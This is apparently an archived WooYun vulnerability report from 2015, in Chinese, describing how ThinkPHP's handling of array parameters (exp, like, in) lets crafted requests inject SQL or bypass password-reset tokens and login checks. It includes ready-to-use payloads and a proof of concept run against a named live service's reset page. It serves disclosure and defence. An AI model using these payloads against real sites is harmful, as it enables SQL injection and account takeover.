ThinkPHP设计缺陷导致逻辑漏洞造成密码找回绕过等问题

编号121708
Urlhttp://www.wooyun.org/bug.php?action=view&id=121708
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题ThinkPHP设计缺陷导致逻辑漏洞造成密码找回绕过等问题
漏洞类型设计缺陷/逻辑错误
厂商ThinkPHP
白帽子Ricter
提交日期2015-06-20 10:06:00
公开日期2015-09-23 10:09:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签设计不当
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank0
漏洞简介
在不正确使用 ThinkPHP 时,可能会造成参数处理流程导致的逻辑漏洞。
漏洞细节

ThinkPHP 处理传入的参数的时候,如果直接带入一个数组,接着数组带入 SQL 语句,会产生之前 phithon 大牛爆的 0day: WooYun: ThinkPHP框架架构上存在SQL注入
利用方式很简单:

data[0]=exp&data[1]=SQLI


然而,thinkphp 支持的不仅仅是 exp,像 like、in,都会支持。
也就是说,我们可以在很多地方精心构造一个参数,导致造成逻辑漏洞。比如找回密码、权限验证等。
我们传入:

data[0]=like&data[1]=x%25


这样就会编译成如下 mysql 语句:

select xx from xx where data like 'x%'


举个例子:
找回密码的地方,总会有一个 token,这个token如果储存在数据库,又从 url 接受的话,就会有如下情况。
假如 token 为 202cb962ac59075b964b07152d234b70,找回密码的 url 为:

http://localhost/reset?token=202cb962ac59075b964b07152d234b70


那么我们传入:

http://localhost/reset?token[0]=like&token[1]=2%25


不用知道全部的 token 即可重置管理员的密码,因为 2% 在 mysql 中匹配正好会匹配到 202cb962ac59075b964b07152d234b70。
比如在 ThinkOX 登录的地方:
POST 内容:

username[0]=like&username[1]=tes%25&password=bb


执行的 SQL 语句为:

0A498C98-CD9F-4816-906C-E6B0B38DBEC3.png


POST 内容:

username[0]=in&username[1][0]=test&username[1][1]=test2&password=bb


执行的 SQL 语句为:

4800EFDA-8ABA-45CC-A8CB-3F1298DAA1DB.png

POC

手头没有源码可以测试,但是有一个线上业务,就此测试一下。
1. https://i.hostker.com/member/forgot_password
发送找回密码邮件:

F640AFC8-6299-4D8C-8F83-5A24C6E6CCDD.png


2.猜测收到的 token,成功发送密码到邮箱
(实际上我没有猜测,因为收到的token开头为 if,所以我直接用 if%来访问)
https://i.hostker.com/member/reset_password?session[0]=like&session[1]=if%25

3E0D3830-9E76-4AD9-A2DF-961291EEDF66.png


这个案例实际上不算利用很成功的案例,因为密码不是在线重设的而是发送到自己的邮箱。<del>给 Hostker 的安全赞一个</del>。

修复方案

在利用 ThinkPHP 写东西时,最好避免直接讲传入的参数带入 SQL 语句。因为构造数组的话很容易出问题。

状态信息 2015-06-20: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-19: 细节向核心白帽子及相关领域专家公开
2015-08-29: 细节向普通白帽子公开
2015-09-08: 细节向实习白帽子公开
2015-09-23: 细节向公众公开
厂商回复None漏洞Rank:8 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2015-09-23 10:09
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

。。。

roker02015-09-23 13:17:00

ThinkPHP的I函数已经统一解决了此类问题的

ThinkPHP02015-06-22 11:48:00

thinkphp的新闻

phith0n02015-06-20 14:34:00

thinkphp的新闻

牛肉包子02015-06-20 10:31:00

前排!

玉林嘎02015-06-20 10:11:00

有个图片传错了_(:з」∠)_嘛倒是不影响..

Ricter02015-06-20 10:11:00